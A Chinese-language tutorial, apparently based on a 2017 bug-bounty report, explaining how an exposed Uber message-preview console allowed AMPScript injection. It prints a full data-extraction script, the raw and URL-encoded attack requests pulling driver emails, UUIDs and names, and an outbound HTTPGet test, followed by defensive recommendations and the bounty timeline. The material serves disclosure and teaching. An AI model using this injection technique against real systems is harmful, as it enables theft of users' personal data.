利用AMPScript获取Uber用户数据的访问权限
字数 1456 2025-08-27 12:33:42
AMPScript漏洞利用教学:从Uber案例学习数据提取技术
1. 漏洞背景与发现
1.1 攻击面发现
- 目标系统: Uber的子域名
exacttarget-web-hook.uber.com - 初始状态: 返回普通的"Not Found"错误
- 变化发现: 突然开始返回内部测试响应,显示为消息个性化系统的API控制台
1.2 系统功能分析
- 该系统是Uber的消息个性化系统,用于测试包含用户个性化设置的文本消息
- 使用AMPScript脚本语言(Salesforce Marketing Cloud/ExactTarget开发)
- 主要功能是通过API控制台预览个性化消息
2. AMPScript基础
2.1 AMPScript概述
- 由ExactTarget开发,后被Salesforce收购
- 用于嵌入HTML邮件、文本邮件、登录页面和SMS消息中
- 主要功能是控制展示给个人消费者的内容
2.2 基本语法
%%[
// AMPScript代码块
SET @variable = value
]%%
%%= v(@variable) =%% // 输出变量
2.3 关键函数
LOOKUP(): 从数据扩展中查找数据HTTPGet(): 发送HTTP GET请求并获取响应LookupRows(): 从数据扩展中查找多行数据RowCount(): 获取行数Row(): 获取特定行Field(): 获取行中的特定字段
3. 漏洞利用过程
3.1 初始测试
- 尝试使用API控制台提供的示例
contractKey失败 - 发现需要真实用户的UUID而非示例UUID
- 从登录后的
https://riders.uber.com/profile页面HTML源码中提取真实UUID
3.2 API请求构造
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com
3.3 AMPScript功能测试
- 发现
HTTPGet函数可执行外部请求:
%%=HTTPGet('https://ipinfo.io')=%%
- 确认请求来自ExactTarget服务器(AS22606)而非Uber服务器
3.4 数据提取技术
- 识别
driver_partners数据扩展包含用户数据 - 使用
LookupRows函数搜索特定条件的数据
完整数据提取脚本:
%%[
SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')
SET @rCount = RowCount(@prefArray)
FOR @i = 1 TO @rCount DO
SET @Row = Row(@prefArray, @i)
SET @ID = Field(@Row, 1)
SET @UUID = Field(@Row, 2)
SET @joinDate = Field(@Row, 3)
SET @email = Field(@Row, 4)
SET @firstName = Field(@Row, 5)
]%%
%%= v(@UUID) =%%
%%= v(@joinDate) =%%
%%= v(@email) =%%
%%= v(@firstName) =%%
%%[
NEXT @i
]%%
3.5 URL编码后的攻击请求
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=%25%25%5b%0d%0a%53%45%54%20%40%70%72%65%66%41%72%72%61%79%20%3d%20%4c%6f%6f%6b%75%70%52%6f%77%73%28%27%64%72%69%76%65%72%5f%70%61%72%74%6e%65%72%73%27%2c%20%27%66%69%72%73%74%6e%61%6d%65%27%2c%20%27%53%68%75%62%73%27%29%0d%0a%53%45%54%20%40%72%43%6f%75%6e%74%20%3d%20%52%6f%77%43%6f%75%6e%74%28%40%70%72%65%66%41%72%72%61%79%29%0d%0a%46%4f%52%20%40%69%20%3d%20%31%20%54%4f%20%40%72%43%6f%75%6e%74%20%44%4f%0d%0a%09%53%45%54%20%40%52%6f%77%20%3d%20%52%6f%77%28%40%70%72%65%66%41%72%72%61%79%2c%20%40%69%29%0d%0a%09%53%45%54%20%40%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%29%0d%0a%09%53%45%54%20%40%55%55%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%32%29%0d%0a%09%53%45%54%20%40%6a%6f%69%6e%44%61%74%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%33%29%0d%0a%09%53%45%54%20%40%65%6d%61%69%6c%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%34%29%0d%0a%09%53%45%54%20%40%66%69%72%73%74%4e%61%6d%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%35%29%0d%0a%09%53%45%54%20%40%75%6e%6b%6e%6f%77%6e%31%30%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%30%29%0d%0a%5d%25%25%0d%0a%09%25%25%3d%56%28%40%55%55%49%44%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%6a%6f%69%6e%44%61%74%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%65%6d%61%69%6c%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%66%69%72%73%74%4e%61%6d%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%75%6e%6b%6e%6f%77%6e%31%30%29%3d%25%25%0d%0a%25%25%5b%0d%0a%4e%45%58%54%20%40%69%0d%0a%5d%25%25&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com
4. 漏洞影响
4.1 数据泄露范围
- 能够提取
driver_partners数据扩展中的所有字段 - 包括但不限于:
- 用户UUID
- 注册日期
- 电子邮件地址
- 名字
- 其他未知字段(示例中的unknown10)
4.2 攻击扩展能力
- 可编写AMPScript提取大量数据
- 可搜索特定人员信息(如通过名字过滤)
- 可组合多个条件进行精确查询
- 可通过
HTTPGet函数与外部系统交互
5. 防御建议
5.1 输入验证
- 对
message参数进行严格的输入过滤 - 限制AMPScript中危险函数的使用(如
HTTPGet)
5.2 访问控制
- 加强API的身份验证机制
- 实施最小权限原则,限制数据扩展的访问范围
5.3 监控与日志
- 监控异常的AMPScript执行模式
- 记录所有API请求和执行的脚本
5.4 系统设计
- 避免将测试环境暴露在公网
- 对敏感数据扩展实施额外的保护层
6. 时间线与奖励
- 发现日期: 2017年11月13日
- 修复日期: 2017年11月15日(2天内修复)
- 奖励发放: 2017年12月28日
- 奖金金额: \(20,000(基础) + \)3,000("最具影响力的报告奖") = $23,000
7. 总结与启示
- 持续监控资产变化的重要性
- 内部测试接口暴露在公网的风险
- 脚本语言功能过于强大的潜在危险
- 及时响应和修复的安全团队协作模式
- 漏洞赏金计划对提升安全性的价值